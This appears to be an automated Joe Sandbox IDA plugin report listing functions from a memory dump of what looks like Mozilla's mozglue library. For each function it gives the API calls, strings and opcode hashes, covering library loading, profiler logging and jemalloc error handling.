Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Ql
API String ID: 2538299546-1900031649
Opcode ID: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction ID: 7cd4cb3be489ca738c33d0f4a790c6aced969121796f8d091fd407002e45737d
Opcode Fuzzy Hash: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction Fuzzy Hash: A911B6B1D04325ABEB10AF759D44B6B7FE8EF45354F044529F84897300F771985487E2

Function 6C4E1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4E1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4E1FFD
__Init_thread_footer.LIBCMT ref: 6C4E2011
FreeLibrary.KERNEL32 ref: 6C4E2059

Strings

combase.dll, xrefs: 6C4E1FD9
CoCreateInstance, xrefs: 6C4E1FF7

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction ID: e6702fa9680ce75b793fe7058ce0083f8d3425a0553f290eec4ea28777307759
Opcode Fuzzy Hash: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction Fuzzy Hash: E6114C75701205AFDF20DF15CC4CE5A3B79EB8A35AF524229EA0592781DB319811CB65

Function 6C4E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C50D9F0,00000000), ref: 6C4E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4E0F3C
__Init_thread_footer.LIBCMT ref: 6C4E0F50
FreeLibrary.KERNEL32(?,6C50D9F0,00000000), ref: 6C4E0F86

Strings

combase.dll, xrefs: 6C4E0F18
CoInitializeEx, xrefs: 6C4E0F36

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction ID: 5c17cb0f4842a5239aa8d0bed3f75784ee9aa877dd618baf9bf4494b4ac05709
Opcode Fuzzy Hash: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction Fuzzy Hash: B811A0757052409BDF00DF98CD08F5E3774EB8A327F86432AE91592746DBB0A815CA5D

Function 6C51F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[I %d/%d] profiler_resume, xrefs: 6C51F239
QzO/, xrefs: 6C51F07C, 6C51F1BA, 6C51F32A, 6C51F41A
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: QzO/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-3738855318
Opcode ID: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction ID: 17b7f23cbf35ed8d8333b605af5625767493b9381f77f5390d638f361b5bd773
Opcode Fuzzy Hash: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction Fuzzy Hash: 9CF05475704204DBEA007F659C4CA6A77BDFBC629DF860115EA05D3B02DB764C058769

Function 6C4E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4E0DF8), ref: 6C4E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4E0EA1
__Init_thread_footer.LIBCMT ref: 6C4E0EB5
FreeLibrary.KERNEL32 ref: 6C4E0EC5

Strings

kernel32.dll, xrefs: 6C4E0E7D
GetProcessMitigationPolicy, xrefs: 6C4E0E9B

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction ID: def99ec3fc9d00ef9490e1014e8f45dcf7e4c15eb715e0351a7535f1876f63b1
Opcode Fuzzy Hash: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction Fuzzy Hash: D8014670B10281CFDF10DFECDC18E6237B5F74A31AF930626D91192B40DB74A814DA99

Function 6C51F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction ID: 4fdd023a7c535947fa8f0704f97fb4e28435d990396d102b77be27f56afaab36
Opcode Fuzzy Hash: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction Fuzzy Hash: A5F05E75304204EBEA007B659C4CA6A7BBDFBC62ADF860116EA0993B41DB764C058769

Function 6C5105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C50CFAE,?,?,?,6C4D31A7), ref: 6C5105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C50CFAE,?,?,?,6C4D31A7), ref: 6C510616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4D31A7), ref: 6C51061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4D31A7), ref: 6C510627

Strings

<jemalloc>, xrefs: 6C5105FA, 6C51060F
: (malloc) Error in VirtualFree(), xrefs: 6C51061B, 6C510625

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction ID: e13ed05e0959d9c1f2a691f66eaca58f59ca917d16927e3779ebc1580edd3c4c
Opcode Fuzzy Hash: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction Fuzzy Hash: 59E08CF2A0101037F514225AAC8ADBB761DDBC6238F080039FD0D82301EA4BBD1E51F6

Function 6C52DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C52D38A,?), ref: 6C52DC6F
free.MOZGLUE(?,?,?,?,?,6C52D38A,?), ref: 6C52DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C52D38A,?), ref: 6C52DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C52D38A,?), ref: 6C52DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C52D38A,?), ref: 6C52DD4A

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction ID: 526b124f5fac37a7ed760cea7cf9b11127322570b4d9416af6fec7c641cd10b3
Opcode Fuzzy Hash: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction Fuzzy Hash: 154169B5A00605CFCB04CFA9C884A9ABBF6FF88314B554569D946ABB50D735FC00CB90

Function 6C520C90 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520CD5

Part of subcall function 6C50F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C50F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520D40
free.MOZGLUE ref: 6C520DCB

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

free.MOZGLUE ref: 6C520DDD
free.MOZGLUE ref: 6C520DF2

Strings

QzO/, xrefs: 6C520CA2

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID: QzO/
API String ID: 4069420150-117776061
Opcode ID: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction ID: 05fff933d755712c158fd654fd82396f92458693b3c2ef5b59cfe2e2ea73d7f3
Opcode Fuzzy Hash: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction Fuzzy Hash: 2A41187190A784CBD720CF29C48079AFBE5BFC9714F518A2EE8D887750D774A845CB82

Function 6C510800 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C510838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C51084C
EnterCriticalSection.KERNEL32(?), ref: 6C5108AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5108BD
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C5108D5

Strings

QzO/, xrefs: 6C51081C

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID: QzO/
API String ID: 837921583-117776061
Opcode ID: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction ID: 4e5f7f92009dd285a7af9c29a8e7687ab9215361b0851430fcd3b68541f128ee
Opcode Fuzzy Hash: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction Fuzzy Hash: D021F231B082499BEF04DF65CC88BAE73B9BFC4708F940529E509A7A40DF75A8158BD4

Function 6C4E1720 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4E17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4E18EE
free.MOZGLUE(?), ref: 6C4E1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E194C

Strings

QzO/, xrefs: 6C4E172B

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID: QzO/
API String ID: 3725304770-117776061
Opcode ID: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction ID: 217e7838c2e53087907c43c068332d5974817e67101c5fa79c10eee9798234c2
Opcode Fuzzy Hash: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction Fuzzy Hash: 0081BD70A112059FCB08CF68D894DAEBBB1FF89315F05466DE851AB752D730E849CBA2

Function 6C531700 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C531800

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Strings

name, xrefs: 6C531939
QzO/, xrefs: 6C531708, 6C53183C
Details, xrefs: 6C531925
{marker.name} - {marker.data.name}, xrefs: 6C5318C7

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$QzO/$name${marker.name} - {marker.data.name}
API String ID: 46770647-62709787
Opcode ID: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction ID: d03056db5601b46657d28f8f5b0002a7add9cf08b7a04d0851dc1d2c714d9bb2
Opcode Fuzzy Hash: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction Fuzzy Hash: 5E71F371A00306DFC704DF28D854B9ABBB1FF85314F45466DD8194BB41E770AAA8CBE1

Function 6C4FD468 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751

Strings

QzO/, xrefs: 6C4FD4E2
MOZ_CRASH(), xrefs: 6C4FD4BB

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()$QzO/
API String ID: 3805649505-491393281
Opcode ID: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction ID: d093dcb9573414b1e777c39de0da9b13bd9ca3edba9cf641f3593a215a4c4b6c
Opcode Fuzzy Hash: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction Fuzzy Hash: A851E171A047418FD714CF28C894B1AB7F1EBCA714F954A2ED5A9C7B85D770E801CB92

Function 6C524630 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Strings

., xrefs: 6C52476A
-%llu, xrefs: 6C524733
profiler-paused, xrefs: 6C5246E4
QzO/, xrefs: 6C5246EF

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$QzO/$profiler-paused
API String ID: 3732870572-2284755286
Opcode ID: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction ID: ab678543343964b56a214d881cabbb48e5308d065231af3f96fcca8f37b174a6
Opcode Fuzzy Hash: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction Fuzzy Hash: 40417772F047089BCB08DF78DC5155EBBE5EF86344F14863EE855A7781EB34A8448751

Function 6C5246E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Part of subcall function 6C4D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C513EBD,00000017,?,00000000,?,6C513EBD,?,?,6C4D42D2), ref: 6C4D4444

Strings

., xrefs: 6C52476A
-%llu, xrefs: 6C524733
profiler-paused, xrefs: 6C5246E4
QzO/, xrefs: 6C5246EF

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
